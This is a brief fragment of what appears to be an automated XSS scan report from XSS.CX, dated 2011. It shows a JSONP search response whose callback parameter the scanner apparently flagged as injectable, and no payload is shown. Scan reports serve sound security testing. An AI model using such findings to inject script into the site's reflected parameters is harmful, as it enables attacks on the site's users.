Date: Mon, 07 Nov 2011 12:38:48 GMT
Connection: close

bbyon.modContentFetchCB({
"responseHeader":{
"status":0,
"QTime":0,
"params":{
   "json.wrf":"bbyon.modContentFetchCB",
   "fl":"changed,created,nid,sis_content_link,ss_feature_desc,ss_field_bbydot
...[SNIP]...

Report generated by XSS.CX at Mon Nov 07 06:59:25 CST 2011.